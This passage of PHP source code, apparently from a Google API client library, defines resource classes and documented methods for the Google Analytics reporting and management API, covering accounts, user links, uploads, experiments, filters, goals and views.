Unique table ID for retrieving Analytics data. Table ID is of the form ga:XXXX, where XXXX is * the Analytics view (profile) ID. * @param string $startDate * Start date for fetching Analytics data. Requests can specify a start date formatted as YYYY-MM- * DD, or as a relative date (e.g., today, yesterday, or 7daysAgo). The default value is 7daysAgo. * @param string $endDate * End date for fetching Analytics data. Requests can specify a start date formatted as YYYY-MM-DD, * or as a relative date (e.g., today, yesterday, or 7daysAgo). The default value is 7daysAgo. * @param string $metrics * A comma-separated list of Multi-Channel Funnels metrics. E.g., * 'mcf:totalConversions,mcf:totalConversionValue'. At least one metric must be specified. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of entries to include in this feed. * @opt_param string sort * A comma-separated list of dimensions or metrics that determine the sort order for the Analytics * data. * @opt_param string dimensions * A comma-separated list of Multi-Channel Funnels dimensions. E.g., 'mcf:source,mcf:medium'. * @opt_param int start-index * An index of the first entity to retrieve. Use this parameter as a pagination mechanism along * with the max-results parameter. * @opt_param string samplingLevel * The desired sampling level. * @opt_param string filters * A comma-separated list of dimension or metric filters to be applied to the Analytics data. * @return Google_Service_Analytics_McfData */ public function get($ids, $startDate, $endDate, $metrics, $optParams = array()) { $params = array('ids' => $ids, 'start-date' => $startDate, 'end-date' => $endDate, 'metrics' => $metrics); $params = array_merge($params, $optParams); return $this->call('get', array($params), "Google_Service_Analytics_McfData"); } } /** * The "realtime" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $realtime = $analyticsService->realtime; * </code> */ class Google_Service_Analytics_DataRealtime_Resource extends Google_Service_Resource { /** * Returns real time data for a view (profile). (realtime.get) * * @param string $ids * Unique table ID for retrieving real time data. Table ID is of the form ga:XXXX, where XXXX is * the Analytics view (profile) ID. * @param string $metrics * A comma-separated list of real time metrics. E.g., 'rt:activeUsers'. At least one metric must be * specified. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of entries to include in this feed. * @opt_param string sort * A comma-separated list of dimensions or metrics that determine the sort order for real time * data. * @opt_param string dimensions * A comma-separated list of real time dimensions. E.g., 'rt:medium,rt:city'. * @opt_param string filters * A comma-separated list of dimension or metric filters to be applied to real time data. * @return Google_Service_Analytics_RealtimeData */ public function get($ids, $metrics, $optParams = array()) { $params = array('ids' => $ids, 'metrics' => $metrics); $params = array_merge($params, $optParams); return $this->call('get', array($params), "Google_Service_Analytics_RealtimeData"); } } /** * The "management" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $management = $analyticsService->management; * </code> */ class Google_Service_Analytics_Management_Resource extends Google_Service_Resource { } /** * The "accountSummaries" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $accountSummaries = $analyticsService->accountSummaries; * </code> */ class Google_Service_Analytics_ManagementAccountSummaries_Resource extends Google_Service_Resource { /** * Lists account summaries (lightweight tree comprised of * accounts/properties/profiles) to which the user has access. * (accountSummaries.listManagementAccountSummaries) * * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of filters to include in this response. * @opt_param int start-index * An index of the first entity to retrieve. Use this parameter as a pagination mechanism along * with the max-results parameter. * @return Google_Service_Analytics_AccountSummaries */ public function listManagementAccountSummaries($optParams = array()) { $params = array(); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_AccountSummaries"); } } /** * The "accountUserLinks" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $accountUserLinks = $analyticsService->accountUserLinks; * </code> */ class Google_Service_Analytics_ManagementAccountUserLinks_Resource extends Google_Service_Resource { /** * Removes a user from the given account. (accountUserLinks.delete) * * @param string $accountId * Account ID to delete the user link for. * @param string $linkId * Link ID to delete the user link for. * @param array $optParams Optional parameters. */ public function delete($accountId, $linkId, $optParams = array()) { $params = array('accountId' => $accountId, 'linkId' => $linkId); $params = array_merge($params, $optParams); return $this->call('delete', array($params)); } /** * Adds a new user to the given account. (accountUserLinks.insert) * * @param string $accountId * Account ID to create the user link for. * @param Google_EntityUserLink $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_EntityUserLink */ public function insert($accountId, Google_Service_Analytics_EntityUserLink $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('insert', array($params), "Google_Service_Analytics_EntityUserLink"); } /** * Lists account-user links for a given account. * (accountUserLinks.listManagementAccountUserLinks) * * @param string $accountId * Account ID to retrieve the user links for. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of account-user links to include in this response. * @opt_param int start-index * An index of the first account-user link to retrieve. Use this parameter as a pagination * mechanism along with the max-results parameter. * @return Google_Service_Analytics_EntityUserLinks */ public function listManagementAccountUserLinks($accountId, $optParams = array()) { $params = array('accountId' => $accountId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_EntityUserLinks"); } /** * Updates permissions for an existing user on the given account. * (accountUserLinks.update) * * @param string $accountId * Account ID to update the account-user link for. * @param string $linkId * Link ID to update the account-user link for. * @param Google_EntityUserLink $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_EntityUserLink */ public function update($accountId, $linkId, Google_Service_Analytics_EntityUserLink $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'linkId' => $linkId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('update', array($params), "Google_Service_Analytics_EntityUserLink"); } } /** * The "accounts" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $accounts = $analyticsService->accounts; * </code> */ class Google_Service_Analytics_ManagementAccounts_Resource extends Google_Service_Resource { /** * Lists all accounts to which the user has access. * (accounts.listManagementAccounts) * * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of accounts to include in this response. * @opt_param int start-index * An index of the first account to retrieve. Use this parameter as a pagination mechanism along * with the max-results parameter. * @return Google_Service_Analytics_Accounts */ public function listManagementAccounts($optParams = array()) { $params = array(); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_Accounts"); } } /** * The "customDataSources" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $customDataSources = $analyticsService->customDataSources; * </code> */ class Google_Service_Analytics_ManagementCustomDataSources_Resource extends Google_Service_Resource { /** * List custom data sources to which the user has access. * (customDataSources.listManagementCustomDataSources) * * @param string $accountId * Account Id for the custom data sources to retrieve. * @param string $webPropertyId * Web property Id for the custom data sources to retrieve. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of custom data sources to include in this response. * @opt_param int start-index * A 1-based index of the first custom data source to retrieve. Use this parameter as a pagination * mechanism along with the max-results parameter. * @return Google_Service_Analytics_CustomDataSources */ public function listManagementCustomDataSources($accountId, $webPropertyId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_CustomDataSources"); } } /** * The "dailyUploads" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $dailyUploads = $analyticsService->dailyUploads; * </code> */ class Google_Service_Analytics_ManagementDailyUploads_Resource extends Google_Service_Resource { /** * Delete uploaded data for the given date. (dailyUploads.delete) * * @param string $accountId * Account Id associated with daily upload delete. * @param string $webPropertyId * Web property Id associated with daily upload delete. * @param string $customDataSourceId * Custom data source Id associated with daily upload delete. * @param string $date * Date for which data is to be deleted. Date should be formatted as YYYY-MM-DD. * @param string $type * Type of data for this delete. * @param array $optParams Optional parameters. */ public function delete($accountId, $webPropertyId, $customDataSourceId, $date, $type, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'customDataSourceId' => $customDataSourceId, 'date' => $date, 'type' => $type); $params = array_merge($params, $optParams); return $this->call('delete', array($params)); } /** * List daily uploads to which the user has access. * (dailyUploads.listManagementDailyUploads) * * @param string $accountId * Account Id for the daily uploads to retrieve. * @param string $webPropertyId * Web property Id for the daily uploads to retrieve. * @param string $customDataSourceId * Custom data source Id for daily uploads to retrieve. * @param string $startDate * Start date of the form YYYY-MM-DD. * @param string $endDate * End date of the form YYYY-MM-DD. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of custom data sources to include in this response. * @opt_param int start-index * A 1-based index of the first daily upload to retrieve. Use this parameter as a pagination * mechanism along with the max-results parameter. * @return Google_Service_Analytics_DailyUploads */ public function listManagementDailyUploads($accountId, $webPropertyId, $customDataSourceId, $startDate, $endDate, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'customDataSourceId' => $customDataSourceId, 'start-date' => $startDate, 'end-date' => $endDate); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_DailyUploads"); } /** * Update/Overwrite data for a custom data source. (dailyUploads.upload) * * @param string $accountId * Account Id associated with daily upload. * @param string $webPropertyId * Web property Id associated with daily upload. * @param string $customDataSourceId * Custom data source Id to which the data being uploaded belongs. * @param string $date * Date for which data is uploaded. Date should be formatted as YYYY-MM-DD. * @param int $appendNumber * Append number for this upload indexed from 1. * @param string $type * Type of data for this upload. * @param array $optParams Optional parameters. * * @opt_param bool reset * Reset/Overwrite all previous appends for this date and start over with this file as the first * upload. * @return Google_Service_Analytics_DailyUploadAppend */ public function upload($accountId, $webPropertyId, $customDataSourceId, $date, $appendNumber, $type, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'customDataSourceId' => $customDataSourceId, 'date' => $date, 'appendNumber' => $appendNumber, 'type' => $type); $params = array_merge($params, $optParams); return $this->call('upload', array($params), "Google_Service_Analytics_DailyUploadAppend"); } } /** * The "experiments" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $experiments = $analyticsService->experiments; * </code> */ class Google_Service_Analytics_ManagementExperiments_Resource extends Google_Service_Resource { /** * Delete an experiment. (experiments.delete) * * @param string $accountId * Account ID to which the experiment belongs * @param string $webPropertyId * Web property ID to which the experiment belongs * @param string $profileId * View (Profile) ID to which the experiment belongs * @param string $experimentId * ID of the experiment to delete * @param array $optParams Optional parameters. */ public function delete($accountId, $webPropertyId, $profileId, $experimentId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'experimentId' => $experimentId); $params = array_merge($params, $optParams); return $this->call('delete', array($params)); } /** * Returns an experiment to which the user has access. (experiments.get) * * @param string $accountId * Account ID to retrieve the experiment for. * @param string $webPropertyId * Web property ID to retrieve the experiment for. * @param string $profileId * View (Profile) ID to retrieve the experiment for. * @param string $experimentId * Experiment ID to retrieve the experiment for. * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Experiment */ public function get($accountId, $webPropertyId, $profileId, $experimentId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'experimentId' => $experimentId); $params = array_merge($params, $optParams); return $this->call('get', array($params), "Google_Service_Analytics_Experiment"); } /** * Create a new experiment. (experiments.insert) * * @param string $accountId * Account ID to create the experiment for. * @param string $webPropertyId * Web property ID to create the experiment for. * @param string $profileId * View (Profile) ID to create the experiment for. * @param Google_Experiment $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Experiment */ public function insert($accountId, $webPropertyId, $profileId, Google_Service_Analytics_Experiment $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('insert', array($params), "Google_Service_Analytics_Experiment"); } /** * Lists experiments to which the user has access. * (experiments.listManagementExperiments) * * @param string $accountId * Account ID to retrieve experiments for. * @param string $webPropertyId * Web property ID to retrieve experiments for. * @param string $profileId * View (Profile) ID to retrieve experiments for. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of experiments to include in this response. * @opt_param int start-index * An index of the first experiment to retrieve. Use this parameter as a pagination mechanism along * with the max-results parameter. * @return Google_Service_Analytics_Experiments */ public function listManagementExperiments($accountId, $webPropertyId, $profileId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_Experiments"); } /** * Update an existing experiment. This method supports patch semantics. * (experiments.patch) * * @param string $accountId * Account ID of the experiment to update. * @param string $webPropertyId * Web property ID of the experiment to update. * @param string $profileId * View (Profile) ID of the experiment to update. * @param string $experimentId * Experiment ID of the experiment to update. * @param Google_Experiment $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Experiment */ public function patch($accountId, $webPropertyId, $profileId, $experimentId, Google_Service_Analytics_Experiment $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'experimentId' => $experimentId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('patch', array($params), "Google_Service_Analytics_Experiment"); } /** * Update an existing experiment. (experiments.update) * * @param string $accountId * Account ID of the experiment to update. * @param string $webPropertyId * Web property ID of the experiment to update. * @param string $profileId * View (Profile) ID of the experiment to update. * @param string $experimentId * Experiment ID of the experiment to update. * @param Google_Experiment $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Experiment */ public function update($accountId, $webPropertyId, $profileId, $experimentId, Google_Service_Analytics_Experiment $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'experimentId' => $experimentId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('update', array($params), "Google_Service_Analytics_Experiment"); } } /** * The "filters" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $filters = $analyticsService->filters; * </code> */ class Google_Service_Analytics_ManagementFilters_Resource extends Google_Service_Resource { /** * Delete a filter. (filters.delete) * * @param string $accountId * Account ID to delete the filter for. * @param string $filterId * ID of the filter to be deleted. * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Filter */ public function delete($accountId, $filterId, $optParams = array()) { $params = array('accountId' => $accountId, 'filterId' => $filterId); $params = array_merge($params, $optParams); return $this->call('delete', array($params), "Google_Service_Analytics_Filter"); } /** * Returns a filters to which the user has access. (filters.get) * * @param string $accountId * Account ID to retrieve filters for. * @param string $filterId * Filter ID to retrieve filters for. * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Filter */ public function get($accountId, $filterId, $optParams = array()) { $params = array('accountId' => $accountId, 'filterId' => $filterId); $params = array_merge($params, $optParams); return $this->call('get', array($params), "Google_Service_Analytics_Filter"); } /** * Create a new filter. (filters.insert) * * @param string $accountId * Account ID to create filter for. * @param Google_Filter $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Filter */ public function insert($accountId, Google_Service_Analytics_Filter $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('insert', array($params), "Google_Service_Analytics_Filter"); } /** * Lists all filters for an account (filters.listManagementFilters) * * @param string $accountId * Account ID to retrieve filters for. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of filters to include in this response. * @opt_param int start-index * An index of the first entity to retrieve. Use this parameter as a pagination mechanism along * with the max-results parameter. * @return Google_Service_Analytics_Filters */ public function listManagementFilters($accountId, $optParams = array()) { $params = array('accountId' => $accountId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_Filters"); } /** * Updates an existing filter. This method supports patch semantics. * (filters.patch) * * @param string $accountId * Account ID to which the filter belongs. * @param string $filterId * ID of the filter to be updated. * @param Google_Filter $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Filter */ public function patch($accountId, $filterId, Google_Service_Analytics_Filter $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'filterId' => $filterId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('patch', array($params), "Google_Service_Analytics_Filter"); } /** * Updates an existing filter. (filters.update) * * @param string $accountId * Account ID to which the filter belongs. * @param string $filterId * ID of the filter to be updated. * @param Google_Filter $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Filter */ public function update($accountId, $filterId, Google_Service_Analytics_Filter $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'filterId' => $filterId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('update', array($params), "Google_Service_Analytics_Filter"); } } /** * The "goals" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $goals = $analyticsService->goals; * </code> */ class Google_Service_Analytics_ManagementGoals_Resource extends Google_Service_Resource { /** * Gets a goal to which the user has access. (goals.get) * * @param string $accountId * Account ID to retrieve the goal for. * @param string $webPropertyId * Web property ID to retrieve the goal for. * @param string $profileId * View (Profile) ID to retrieve the goal for. * @param string $goalId * Goal ID to retrieve the goal for. * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Goal */ public function get($accountId, $webPropertyId, $profileId, $goalId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'goalId' => $goalId); $params = array_merge($params, $optParams); return $this->call('get', array($params), "Google_Service_Analytics_Goal"); } /** * Create a new goal. (goals.insert) * * @param string $accountId * Account ID to create the goal for. * @param string $webPropertyId * Web property ID to create the goal for. * @param string $profileId * View (Profile) ID to create the goal for. * @param Google_Goal $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Goal */ public function insert($accountId, $webPropertyId, $profileId, Google_Service_Analytics_Goal $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('insert', array($params), "Google_Service_Analytics_Goal"); } /** * Lists goals to which the user has access. (goals.listManagementGoals) * * @param string $accountId * Account ID to retrieve goals for. Can either be a specific account ID or '~all', which refers to * all the accounts that user has access to. * @param string $webPropertyId * Web property ID to retrieve goals for. Can either be a specific web property ID or '~all', which * refers to all the web properties that user has access to. * @param string $profileId * View (Profile) ID to retrieve goals for. Can either be a specific view (profile) ID or '~all', * which refers to all the views (profiles) that user has access to. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of goals to include in this response. * @opt_param int start-index * An index of the first goal to retrieve. Use this parameter as a pagination mechanism along with * the max-results parameter. * @return Google_Service_Analytics_Goals */ public function listManagementGoals($accountId, $webPropertyId, $profileId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_Goals"); } /** * Updates an existing view (profile). This method supports patch semantics. * (goals.patch) * * @param string $accountId * Account ID to update the goal. * @param string $webPropertyId * Web property ID to update the goal. * @param string $profileId * View (Profile) ID to update the goal. * @param string $goalId * Index of the goal to be updated. * @param Google_Goal $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Goal */ public function patch($accountId, $webPropertyId, $profileId, $goalId, Google_Service_Analytics_Goal $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'goalId' => $goalId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('patch', array($params), "Google_Service_Analytics_Goal"); } /** * Updates an existing view (profile). (goals.update) * * @param string $accountId * Account ID to update the goal. * @param string $webPropertyId * Web property ID to update the goal. * @param string $profileId * View (Profile) ID to update the goal. * @param string $goalId * Index of the goal to be updated. * @param Google_Goal $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Goal */ public function update($accountId, $webPropertyId, $profileId, $goalId, Google_Service_Analytics_Goal $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'goalId' => $goalId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('update', array($params), "Google_Service_Analytics_Goal"); } } /** * The "profileFilterLinks" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $profileFilterLinks = $analyticsService->profileFilterLinks; * </code> */ class Google_Service_Analytics_ManagementProfileFilterLinks_Resource extends Google_Service_Resource { /** * Delete a profile filter link. (profileFilterLinks.delete) * * @param string $accountId * Account ID to which the profile filter link belongs. * @param string $webPropertyId * Web property Id to which the profile filter link belongs. * @param string $profileId * Profile ID to which the filter link belongs. * @param string $linkId * ID of the profile filter link to delete. * @param array $optParams Optional parameters. */ public function delete($accountId, $webPropertyId, $profileId, $linkId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'linkId' => $linkId); $params = array_merge($params, $optParams); return $this->call('delete', array($params)); } /** * Returns a single profile filter link. (profileFilterLinks.get) * * @param string $accountId * Account ID to retrieve profile filter link for. * @param string $webPropertyId * Web property Id to retrieve profile filter link for. * @param string $profileId * Profile ID to retrieve filter link for. * @param string $linkId * ID of the profile filter link. * @param array $optParams Optional parameters. * @return Google_Service_Analytics_ProfileFilterLink */ public function get($accountId, $webPropertyId, $profileId, $linkId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'linkId' => $linkId); $params = array_merge($params, $optParams); return $this->call('get', array($params), "Google_Service_Analytics_ProfileFilterLink"); } /** * Create a new profile filter link. (profileFilterLinks.insert) * * @param string $accountId * Account ID to create profile filter link for. * @param string $webPropertyId * Web property Id to create profile filter link for. * @param string $profileId * Profile ID to create filter link for. * @param Google_ProfileFilterLink $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_ProfileFilterLink */ public function insert($accountId, $webPropertyId, $profileId, Google_Service_Analytics_ProfileFilterLink $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('insert', array($params), "Google_Service_Analytics_ProfileFilterLink"); } /** * Lists all profile filter links for a profile. * (profileFilterLinks.listManagementProfileFilterLinks) * * @param string $accountId * Account ID to retrieve profile filter links for. * @param string $webPropertyId * Web property Id for profile filter links for. Can either be a specific web property ID or * '~all', which refers to all the web properties that user has access to. * @param string $profileId * Profile ID to retrieve filter links for. Can either be a specific profile ID or '~all', which * refers to all the profiles that user has access to. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of profile filter links to include in this response. * @opt_param int start-index * An index of the first entity to retrieve. Use this parameter as a pagination mechanism along * with the max-results parameter. * @return Google_Service_Analytics_ProfileFilterLinks */ public function listManagementProfileFilterLinks($accountId, $webPropertyId, $profileId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_ProfileFilterLinks"); } /** * Update an existing profile filter link. This method supports patch semantics. * (profileFilterLinks.patch) * * @param string $accountId * Account ID to which profile filter link belongs. * @param string $webPropertyId * Web property Id to which profile filter link belongs * @param string $profileId * Profile ID to which filter link belongs * @param string $linkId * ID of the profile filter link to be updated. * @param Google_ProfileFilterLink $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_ProfileFilterLink */ public function patch($accountId, $webPropertyId, $profileId, $linkId, Google_Service_Analytics_ProfileFilterLink $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'linkId' => $linkId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('patch', array($params), "Google_Service_Analytics_ProfileFilterLink"); } /** * Update an existing profile filter link. (profileFilterLinks.update) * * @param string $accountId * Account ID to which profile filter link belongs. * @param string $webPropertyId * Web property Id to which profile filter link belongs * @param string $profileId * Profile ID to which filter link belongs * @param string $linkId * ID of the profile filter link to be updated. * @param Google_ProfileFilterLink $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_ProfileFilterLink */ public function update($accountId, $webPropertyId, $profileId, $linkId, Google_Service_Analytics_ProfileFilterLink $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'linkId' => $linkId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('update', array($params), "Google_Service_Analytics_ProfileFilterLink"); } } /** * The "profileUserLinks" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $profileUserLinks = $analyticsService->profileUserLinks; * </code> */ class Google_Service_Analytics_ManagementProfileUserLinks_Resource extends Google_Service_Resource { /** * Removes a user from the given view (profile). (profileUserLinks.delete) * * @param string $accountId * Account ID to delete the user link for. * @param string $webPropertyId * Web Property ID to delete the user link for. * @param string $profileId * View (Profile) ID to delete the user link for. * @param string $linkId * Link ID to delete the user link for. * @param array $optParams Optional parameters. */ public function delete($accountId, $webPropertyId, $profileId, $linkId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'linkId' => $linkId); $params = array_merge($params, $optParams); return $this->call('delete', array($params)); } /** * Adds a new user to the given view (profile). (profileUserLinks.insert) * * @param string $accountId * Account ID to create the user link for. * @param string $webPropertyId * Web Property ID to create the user link for. * @param string $profileId * View (Profile) ID to create the user link for. * @param Google_EntityUserLink $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_EntityUserLink */ public function insert($accountId, $webPropertyId, $profileId, Google_Service_Analytics_EntityUserLink $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('insert', array($params), "Google_Service_Analytics_EntityUserLink"); } /** * Lists profile-user links for a given view (profile). * (profileUserLinks.listManagementProfileUserLinks) * * @param string $accountId * Account ID which the given view (profile) belongs to. * @param string $webPropertyId * Web Property ID which the given view (profile) belongs to. Can either be a specific web property * ID or '~all', which refers to all the web properties that user has access to. * @param string $profileId * View (Profile) ID to retrieve the profile-user links for. Can either be a specific profile ID or * '~all', which refers to all the profiles that user has access to. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of profile-user links to include in this response. * @opt_param int start-index * An index of the first profile-user link to retrieve. Use this parameter as a pagination * mechanism along with the max-results parameter. * @return Google_Service_Analytics_EntityUserLinks */ public function listManagementProfileUserLinks($accountId, $webPropertyId, $profileId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_EntityUserLinks"); } /** * Updates permissions for an existing user on the given view (profile). * (profileUserLinks.update) * * @param string $accountId * Account ID to update the user link for. * @param string $webPropertyId * Web Property ID to update the user link for. * @param string $profileId * View (Profile ID) to update the user link for. * @param string $linkId * Link ID to update the user link for. * @param Google_EntityUserLink $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_EntityUserLink */ public function update($accountId, $webPropertyId, $profileId, $linkId, Google_Service_Analytics_EntityUserLink $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'linkId' => $linkId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('update', array($params), "Google_Service_Analytics_EntityUserLink"); } } /** * The "profiles" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $profiles = $analyticsService->profiles; * </code> */ class Google_Service_Analytics_ManagementProfiles_Resource extends Google_Service_Resource { /** * Deletes a view (profile). (profiles.delete) * * @param string $accountId * Account ID to delete the view (profile) for. * @param string $webPropertyId * Web property ID to delete the view (profile) for. * @param string $profileId * ID of the view (profile) to be deleted. * @param array $optParams Optional parameters. */ public function delete($accountId, $webPropertyId, $profileId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId); $params = array_merge($params, $optParams); return $this->call('delete', array($params)); } /** * Gets a view (profile) to which the user has access. (profiles.get) * * @param string $accountId * Account ID to retrieve the goal for. * @param string $webPropertyId * Web property ID to retrieve the goal for. * @param string $profileId * View (Profile) ID to retrieve the goal for. * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Profile */ public function get($accountId, $webPropertyId, $profileId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId); $params = array_merge($params, $optParams); return $this->call('get', array($params), "Google_Service_Analytics_Profile"); } /** * Create a new view (profile). (profiles.insert) * * @param string $accountId * Account ID to create the view (profile) for. * @param string $webPropertyId * Web property ID to create the view (profile) for. * @param Google_Profile $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Profile */ public function insert($accountId, $webPropertyId, Google_Service_Analytics_Profile $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('insert', array($params), "Google_Service_Analytics_Profile"); } /** * Lists views (profiles) to which the user has access. * (profiles.listManagementProfiles) * * @param string $accountId * Account ID for the view (profiles) to retrieve. Can either be a specific account ID or '~all', * which refers to all the accounts to which the user has access. * @param string $webPropertyId * Web property ID for the views (profiles) to retrieve. Can either be a specific web property ID * or '~all', which refers to all the web properties to which the user has access. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of views (profiles) to include in this response. * @opt_param int start-index * An index of the first entity to retrieve. Use this parameter as a pagination mechanism along * with the max-results parameter. * @return Google_Service_Analytics_Profiles */ public function listManagementProfiles($accountId, $webPropertyId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_Profiles"); } 